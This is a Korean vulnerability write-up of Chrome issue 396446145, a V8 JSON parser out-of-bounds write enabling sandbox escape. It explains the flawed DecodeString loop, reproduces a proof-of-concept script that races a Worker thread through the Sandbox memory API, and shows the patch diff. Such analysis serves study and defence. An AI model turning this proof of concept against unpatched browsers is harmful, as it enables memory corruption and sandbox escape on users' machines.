[하루한줄] Issue 396446145 : V8 json parser의 OOB write로 인한 V8 sandbox escape 취약점
URL
Target
- Chrome version < 137.0.7137.0
Explain
v8에서 JSON.parse 함수로 '{"result":true, "count":42}'
같이 “result”, “conut” 같은 string data가 포함된 JSON 문자열을 처리할때 escape character인 백슬래시( \\
) 가 포함된 문자열이 있을 경우, 아래와 같은 콜스택을 거쳐 JsonParser<Char>::DecodeString
함수가 호출됩니다.
template <typename Char>
template <bool should_track_json_source>
MaybeHandle<Object> JsonParser<Char>::ParseJsonValue() {
std::vector<JsonContinuation> cont_stack;
// ....
case JsonToken::STRING:
Consume(JsonToken::STRING);
value = MakeString(ScanJsonString(false)); // <-- here
if constexpr (should_track_json_source) {
end_position = position();
val_node = isolate_->factory()->NewSubString(
source_, start_position, end_position);
}
break;
.....
template <typename Char>
Handle<String> JsonParser<Char>::MakeString(const JsonString& string,
Handle<String> hint) {
if (string.length() == 0) return factory()->empty_string();
if (string.length() == 1) {
uint16_t first_char;
if (!string.has_escape()) {
first_char = chars_[string.start()];
} else {
//
// here
//
DecodeString(&first_char, string.start(), 1);
}
return factory()->LookupSingleCharacterStringFromCode(first_char);
}
JsonParser<Char>::DecodeString
함수는 length 체크 없이 백슬래시 문자를 찾을때까지 계속 루프를 반복하기 때문에, 해당 loop가 실행중일때 다른 thread에서 디코딩 중인 문자열을 수정해서 백슬래쉬를 지워버리면 OOB write가 발생합니다.
void JsonParser<Char>::DecodeString(SinkChar* sink, uint32_t start,
uint32_t length) {
SinkChar* sink_start = sink;
const Char* cursor = chars_ + start;
while (true) {
const Char* end = cursor + length - (sink - sink_start);
cursor = std::find_if(cursor, end, [&sink](Char c) {
if (c == '\\') return true;
*sink++ = c;
return false;
});
PoC
원본 PoC 코드를 보시면 Worker 생성자를 통해 background task thread를 생성 후, Sandbox API 를 사용해 JSON.parse
에서 파싱중인 문자열의 메모리에 직접 접근 후 값을 변경하는 방식으로 OOB write 취약점을 트리거 합니다.
let sbx_memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
const v9 = String.fromCodePoint(6);
const v14 = JSON.stringify(v9);
function corruptInBackground(address) {
function workerTemplate(address) {
let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
while (true) {
memory.setUint8(address, 0x30, true);
memory.setUint8(address, 0xcf, true);
}
}
const workerCode = new Function(
`(${workerTemplate})(${address})`);
return new Worker(workerCode, { type: 'function' });
}
let v14_addr = Sandbox.getAddressOf(v14);
print("v14_addr: 0x" + v14_addr.toString(16));
// Address of the singeel byte in the one byte string
const c = sbx_memory.getUint8(v14_addr + 16);
print("c: 0x" + c.toString(16));
corruptInBackground(v14_addr + 16)
while (1) {
try {
JSON.parse(v14);
} catch (e) {
print(e)
}
}
Patch
JsonParser<Char>::DecodeString
함수에서 문자열을 순회하는 반복문 안에 문자열 길이를 확인하는 루틴을 추가하는 방식으로 패치되었습니다.
diff --git a/src/json/json-parser.cc b/src/json/json-parser.cc
index abc1234..def5678 100644
--- a/src/json/json-parser.cc
+++ b/src/json/json-parser.cc
@@ -1,26 +1,29 @@
Handle<SeqTwoByteString> intermediate =
factory()->NewRawTwoByteString(string.length()).ToHandleChecked();
return DecodeString(string, intermediate, hint);
}
template <typename Char>
template <typename SinkChar>
void JsonParser<Char>::DecodeString(SinkChar* sink, uint32_t start,
uint32_t length) {
- SinkChar* sink_start = sink;
const Char* cursor = chars_ + start;
- while (true) {
- const Char* end = cursor + length - (sink - sink_start);
- cursor = std::find_if(cursor, end, [&sink](Char c) {
- if (c == '\\') return true;
- *sink++ = c;
- return false;
- });
-
- if (cursor == end) return;
+ while (length > 0) {
+ // Copy everything until the first escape character
+ const Char* backslash_pos = std::find(cursor, cursor + length, '\\');
+ size_t to_copy = backslash_pos - cursor;
+ std::copy_n(cursor, to_copy, sink);
+ length -= to_copy;
+ cursor += to_copy;
+ sink += to_copy;
+
+ if (length == 0) return;
cursor++;
switch (GetEscapeKind(character_json_scan_flags[*cursor])) {
case EscapeKind::kSelf:
*sink++ = *cursor;
+ length--;
break;
case EscapeKind::kBackspace:
*sink++ = '\x08';
+ length--;
break;
case EscapeKind::kTab:
*sink++ = '\x09';
+ length--;
break;
case EscapeKind::kNewLine:
*sink++ = '\x0A';
+ length--;
break;
case EscapeKind::kFormFeed:
*sink++ = '\x0C';
+ length--;
break;
case EscapeKind::kCarriageReturn:
*sink++ = '\x0D';
+ length--;
break;
case EscapeKind::kUnicode: {
base::uc32 value = 0;
for (int i = 0; i < 4; i++) {
value = value * 16 + base::HexValue(*++cursor);
}
if (value <=
static_cast<base::uc32>(unibrow::Utf16::kMaxNonSurrogateCharCode)) {
*sink++ = value;
+ length--;
} else {
+ SBXCHECK_GE(length, 2);
*sink++ = unibrow::Utf16::LeadSurrogate(value);
*sink++ = unibrow::Utf16::TrailSurrogate(value);
+ length -= 2;
}
break;
}
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.